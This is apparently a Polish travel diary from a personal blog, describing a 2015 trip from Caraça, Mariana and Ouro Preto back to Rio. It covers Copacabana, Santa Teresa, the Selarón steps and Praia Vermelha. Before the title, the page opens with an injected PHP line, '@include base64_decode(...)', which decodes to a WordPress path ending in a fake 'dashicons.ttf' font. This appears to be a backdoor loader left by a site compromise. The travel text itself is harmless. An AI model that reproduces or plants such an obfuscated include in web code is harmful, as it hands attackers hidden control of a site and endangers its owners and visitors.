@include base64_decode("L2hvbWUvcGxhdG5lL3NlcndlcjE0ODY5L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmUvZGFzaGljb25zLnR0Zg=="); Rio 2015 – Podróże Piotra Wilanda

Rio 2015

,

9.04.2015 – czwartek

Rano na tarasie odwiedzonym przez wilka wszystko już było posprzątane. Śniadanie serwowano w dawnym refrektarzu, gdzie każdy sobie mógł przyrządzić jajecznicę na płycie podgrzewanej przez palące się drewna. Nie było nic z atmosfery sieciowych hoteli, w których spaliśmy przez ostatnie kilka dni.

W początkach XIX wieku utworzono tutaj szkołę, której mury w ciągu 150 lat – aż do momentu kiedy zakończyła ona swoją działalność w 1968 roku – ukończyło szereg zasłużonych osób w życiu politycznym kraju, w tym aż trzech prezydentów. O tym wszystkim informowały dumnie lista nazwisk tych znanych osób (www.santuariodocaraca.com.br) . Jednym z nich był Kubitschek, twórca nowej stolicy Brasilii. Na wzgórzu zbudowano kalwarię, przypominającą mi o niedawnym dniu Wielkiego Piątku.

Droga powrotna do Rio przebiegała pod znakiem odwiedzenia miejsc już nam znanych. Pojechaliśmy wpierw do Mariany po drugiej stronie łańcucha górskiego widzianego przez nas od Caraҫy. Malowniczość pobliskich gór psuł, a może i podkreślał widok niezliczonych kopalni należących do potężnego koncernu Vale. Mijaliśmy porozrywane góry, które pocięto na pół, wykopano w nich olbrzymie jamy lub też przerzucono ziemię na wielkie hałdy, które bujna przyroda szybko z powrotem odzyskiwała.

Mariana wydaje się być całkiem sporym miastem, choć stare miasto stanowi jedynie niewielką cząstkę całości. Przyjechaliśmy tam w porze lunchu. Tym razem nie musieliśmy biegać z wywieszonym językiem i burczącym brzuchem w poszukiwaniu restauracji z bufetem na kilo. Restauracja Lua Cheia była już otwarta dla tak poważnych klientów- głodomorów. Obiad, trochę jeszcze zwiedzania i dalej w drogę. GPS nastawiliśmy na Plaza Tiradentes w Ouro Preto. Na kolejne zwiedzanie Ouro Preto nie mieliśmy czasu. Wymieniliśmy pieniądze w „Minas Geras”, choć już tylko 3 reale po dolarze, kupiliśmy hamak i pochłonęliśmy aҫai, zmrożone owoce pochodzące z Amazonii, które stały się naszym ulubionym, wspólnym deserem.

Dojechaliśmy do wypożyczalni Hertza w Belo Horizonte dobre pół godziny przed zamknięciem. Rachunek za samochód nam się nieco powiększył, gdyż doliczono nam jeszcze co najmniej 50 reali za umycie. „Ale jak tu umyć samochód, gdy nie mamy światła w samochodzie ?„– to pytanie brzmiało bardzo rozsądnie. Druga strona była dość elastyczna, wymieniliśmy się obustronnie najbardziej powszechnym gestem w Brazylii zastępującym OK., czyli załatwione i cena wróciła do pierwotnej ustalonej. Było więc po co się męczyć w aucie wieczorami. Na dworcu autobusowym w Belo Horizonte pojawiliśmy się już po raz czwarty. Warto było przyjechać w przeddzień, gdyż zostało już tylko kilka wolnych miejsc w autobusie odjeżdżającym następnego dnia rano do Rio.

10 kwietnia – piątek

Droga pomiędzy Belo Horizonte i Rio jest drogą szybkiego ruchu, najczęściej czteropasmowa, ale za jak to w stanie Minas Gerais na tyle kręta, że i mój błędnik mnie zawodził i nawet czytanie mi nie szło. To dziwny kraj jak dla mnie, człowieka z nizin, przyzwyczajonego, iż każde góry gdzieś się kończą się, aby zjechać w dolinę rzeki czy jakiś płaski teren. Nic takiego się po drodze nie działo. Główne szlaki komunikacyjne czasem tylko przecinają dolinę jakieś rzeki, aby następnie ponownie wznieść się zakosami, zakrętami o te kilkaset metrów wyżej. Już pod sam koniec naszej podróży w pobliżu Petropolis wjechaliśmy w cudowne Góry Organowe pokryte gęstym zielonym  dywanem lasów, widocznych z okna autobusu jadącego kilkaset metrów wyżej. Po ponad czterystu kilometrach drogi pojawił się pierwszy kawałek prostej drogi od wyjazdu Belo Horizonte. Znaleźliśmy się na przedmieściach Rio – Miasta Cudownego. Od północnej strony nie ma ono jednak tak magicznego charakteru; ciągną się tutaj zakłady przemysłowe, panuje chaotyczna miejska zabudowa. Po ponad ośmiu godzinach jazdy i prawie godzinnym spóźnieniu wjechaliśmy na dworzec autobusowy. Niedługo później mogliśmy się przywitać z Basią i Martinem mieszkających od dłuższego czasu w dzielnicy bardzo blisko Sambodromu, względnie bezpiecznej części Rio. Czynsz za mieszkanie nie był tam zbyt drogi w porównaniu do okolic plaż Copacabany czy Botofago. Wszyscy się tam doskonale znają, a mieszkańcami są ludzie o przeciętnych dochodach; nie można więc liczyć, iż opłaca się ich z czegokolwiek wartościowego okraść. Lepiej dla złodzieja jechać na gościnne występy w okolice Copacabany.  

Oferta każdego wieczoru w Rio jest dość obfita. Wpierw jednak wpadliśmy do pobliskiej restauracji na wagę, a potem wybraliśmy się taksówką na Copacabanę. O tej porze ta część Rio tętniła życiem. Szczególne ożywienia panowało na ciągnących się wzdłuż plaży straganów. Były tam hawaiany, czyli po mojemu japonki robione w Brazylii. Wybór przeróżny, po 20 do 28 reali. Klientów w bród, nawet i rodaków zaciągających śląską gwarą. Zakupiliśmy ostatecznie hawaiany dla całej naszej rodziny. W pobliżu znajdował się też bar z tradycjami. Mały bar, gdzie stopniowo próbowało swoich instrumentów kilku muzyków, którzy mieli tego wieczoru grywać sambę. Rozpoczynali według Basi bardzo wcześnie , bo już około 22. Zagaił wpierw żwawy senior tego lokalu, który palnął mówkę do coraz liczniejszego grona słuchaczy. Niektórzy siedzieli, inni zaś stanęli koło artystów, aby włączyć się do śpiewania.

11 kwietnia 2015 – sobota

Do Santa Teresy, dzielnicy o bogatych tradycjach, położonej na okolicznych wzgórzach spacerkiem było kilkanaście minut, ale w Rio bardziej nam odpowiadało poruszać się taksówkami. Zaczyna się od 4,60 reali przy wejściu do taksówki. Przykładowo jazda do Copacabany nie kosztowała więcej niż 30 reali. Wzdłuż głównej ulicy dzielnicy Santa Teresa ciągną się tory tramwajowe. Ale tramwaj przestał krążyć od kilku lat, kiedy to doszło do wypadku, w którym zginęło kilka osób. Obecnie jeżdżą tu autobusy, ale władze miasta nie zrezygnowały na dobre z Bonde. Tak zwie się żółty tramwaj – symbol dzielnicy Santa Teresa.

Dla tych, co są dłużej, albo i krócej tak jak my,  warto się wspiąć na prawie sam szczyt dzielnicy do Parku Ruin – dawnego pałacu finansisty i polityka z początku XX wieku Joaquima Murtinho . Przez 50 lat budynek pozostawał opuszczony, ale miasto postanowiło przywrócić mu dawną świetność. Jak nazwa wskazuje „ruiny” zostały, ale schodami można się wspiąć na taras widokowy, skąd rozpościera się widok na miasto. Widać stamtąd – jak to prawie z każdego miejsca w Rio – położoną na dalekim planie figurę Chrystusa oraz  Głowę Cukru, dokąd zamierzaliśmy się jeszcze wybrać. Znacznie bliżej położony był ścięty stożek ze zbrojonego betonu. Tym brzydkim owocem architektonicznych poszukiwań lat 70-tych była Catedral Metropolitana. W zamyśle architekta miała być nawiązaniem do spuścizny piramid Majów, ale było to dla mnie bardzo nieudolne naśladownictwo.

Rzym ma Schody Hiszpańskie, zaś Rio dorobiło się przed kilkunastu laty swoich słynnych schodów – Ladeira de Santo Teresa. Ich twórcą stał się artysta pochodzący z Chile, ale sercem związany z Brazylią – Jorge Selaron. Mieszkał przy schodach i postanowił przydać im trochę blasku. Dzieło się zaczęło coraz bardziej rozrastać, szczególnie iż przybysze z różnych krajów przywozili mu płytki ceramiczne ze swoich okolic, które on przykładał na schody czy na ściany otaczające schody. Ułożył płytki na 215 schodach, głównie w kolorystyce brazylijskiej – żółto-zielonej , zaś na ściany obrał kolor czerwony.

W ten ostatni dzień warto było dokonać symbolicznych zaślubin z oceanem, jako, że nasza trasa podróży omijała jak dotąd wybrzeże. Najbliżej nam było się wybrać taksówką  na plażę u podnóża Głowy Cukru. Zwana jest Praia Vermelha czyli Plażą Czerwoną, gdyż o zachodzie słońca piasek przybiera czerwonawy kolor. Nie zamierzaliśmy zostać tam aż tak długo. Przy plaży zamyślony, czy może i zasłuchany w szum morza stał Fryderyk Chopin, odlany w brązie i odsłonięty w 1944 roku. Stąd prowadziła ścieżka u podstawy Morro da Urca i Páo de Aҫucar, gdzie bez jeżdżenia po bezdrożach Brazylii można przyjrzeć się małpkom grasującym tutaj ku uciesze odwiedzających. Widziany z daleka długi ogon bardziej przypominał mi małe wiewiórki niż małpki należące do gatunku małp marmozetów czyli pazurczatek. Mierzyły sobie nie więcej niż 20 cm i trzymały się w małych grupach. Ludzi się zupełnie nie bały i podchodziły nawet w odległość wyciągnięcia ręki, gdy zauważyły coś co można by schrupać.

Ciągnęło nas jeszcze raz na Santa Teresę, gdzie Martin ze swoimi przyjaciółmi muzykami miał koncert. Tuż przed naszym przyjazdem zaczęli wygrywać różne swoje kawałki, a że impreza na małym skwerku rozkręcała się powoli staliśmy się o tej porze jego głównymi słuchaczami. Koncert był pod gołym niebem. Dla zasłuchanych było kilka ławek, ale nieraz słuchacze stawali na chwilę, i dalej szli w swoją stronę .

Przyszła pora, aby szykować się do wyjazdu. Nie było po drodze zbyt dużych korków, ale na wszelki wypadek pojawiłem się na lotnisku w Rio na 3 godziny przed odlotem. Jeszcze ostatnia caipirinha, jakieś drobne zakupy i kolejne 11 godzin w podróży, aby utkwić na następne 7 godzin na lotnisku we Frankfurcie. A stamtąd dosłownie godzinny lot i byłem z powrotem we Wrocławiu.